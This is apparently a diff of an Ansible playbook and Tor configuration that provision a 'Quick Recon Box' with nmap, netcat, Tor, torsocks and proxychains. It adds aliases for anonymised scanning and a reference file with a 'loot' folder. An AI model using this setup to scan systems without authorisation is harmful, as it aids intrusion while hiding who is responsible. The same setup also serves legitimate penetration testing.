# No domain/nginx setup for Quick Recon Box - keep it minimal
|
||||
|
||||
- name: Create quick aliases for OPSEC operations
|
||||
ansible.builtin.lineinfile:
|
||||
path: "/root/.bashrc"
|
||||
line: "{{ item }}"
|
||||
create: yes
|
||||
loop:
|
||||
- "# Quick Recon Box Aliases"
|
||||
- "alias qr='cd {{ work_dir }}'"
|
||||
- "alias tor-nmap='torsocks nmap'"
|
||||
- "alias tor-curl='torsocks curl'"
|
||||
- "alias check-tor='curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip'"
|
||||
- "export TMUX_TMPDIR=/root/.local/share/tmux"
|
||||
|
||||
- name: Create persistent tmux socket directory
|
||||
ansible.builtin.file:
|
||||
path: /root/.local/share/tmux
|
||||
state: directory
|
||||
mode: '0700'
|
||||
|
||||
- name: Create simple quick reference
|
||||
ansible.builtin.copy:
|
||||
content: |
|
||||
# Quick Recon Box
|
||||
|
||||
## Basic Tools Installed:
|
||||
- nmap, netcat, curl, wget, dig, whois, traceroute, python3
|
||||
- tor + torsocks (anonymous operations)
|
||||
{% if setup_vpn | default(false) %}- openvpn (VPN server){% endif %}
|
||||
|
||||
## Quick Commands:
|
||||
- tor-nmap target.com # Anonymous nmap scan
|
||||
- tor-curl target.com # Anonymous web request
|
||||
- check-tor # Verify Tor connection
|
||||
- qr # Go to working directory
|
||||
|
||||
## Working Directory: {{ work_dir }}
|
||||
- Scans: {{ work_dir }}/scans/
|
||||
- Notes: {{ work_dir }}/notes/
|
||||
- Loot: {{ work_dir }}/loot/
|
||||
|
||||
Add tools as needed: apt install <tool>
|
||||
dest: /root/QUICK_RECON_GUIDE.txt
|
||||
mode: '0644'
|
||||
|
||||
- name: Final setup completion message
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
QUICK RECON BOX SETUP COMPLETE!
|
||||
================================================================
|
||||
|
||||
Basic tools installed:
|
||||
✓ nmap, netcat, curl, wget, dig, whois, traceroute
|
||||
✓ python3, git, vim, tmux, jq
|
||||
|
||||
OPSEC features enabled:
|
||||
✓ Tor proxy (localhost:9050)
|
||||
✓ Torsocks for anonymous operations
|
||||
✓ Proxychains4 configured
|
||||
{% if setup_vpn | default(false) %}✓ OpenVPN server ready{% endif %}
|
||||
{% if setup_domain | default(false) %}✓ Domain {{ domain }} configured{% endif %}
|
||||
|
||||
Quick commands:
|
||||
✓ tor-nmap, tor-curl, tor-dig for anonymous recon
|
||||
✓ check-tor to verify anonymity
|
||||
✓ qr to go to working directory
|
||||
|
||||
Quick Reference: /root/QUICK_RECON_GUIDE.txt
|
||||
Working Directory: {{ work_dir }}
|
||||
|
||||
Ready for additional tool installation as needed!
|
||||
================================================================
|
||||
@@ -0,0 +1,36 @@
|
||||
# Tor configuration for Quick Recon Box
|
||||
# Generated: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
# Basic Tor configuration
|
||||
DataDirectory /var/lib/tor
|
||||
PidFile /var/run/tor/tor.pid
|
||||
RunAsDaemon 1
|
||||
User debian-tor
|
||||
|
||||
# Logging
|
||||
Log notice file /var/log/tor/notices.log
|
||||
|
||||
# SOCKS proxy for applications
|
||||
SocksPort 9050
|
||||
SocksPolicy accept *
|
||||
|
||||
# Control port for advanced usage
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
|
||||
# Circuit settings for better anonymity
|
||||
NewCircuitPeriod 30
|
||||
MaxCircuitDirtiness 600
|
||||
UseEntryGuards 1
|
||||
|
||||
# Exit policy - allow common ports for recon
|
||||
ExitPolicy accept *:53 # DNS
|
||||
ExitPolicy accept *:80 # HTTP
|
||||
ExitPolicy accept *:443 # HTTPS
|
||||
ExitPolicy accept *:993 # IMAPS
|
||||
ExitPolicy accept *:995 # POP3S
|
||||
ExitPolicy reject *:*
|
||||
|
||||
# Performance tuning for reconnaissance
|
||||
CircuitBuildTimeout 10
|
||||
LearnCircuitBuildTimeout 0
|
||||
Reference in New Issue
Block a user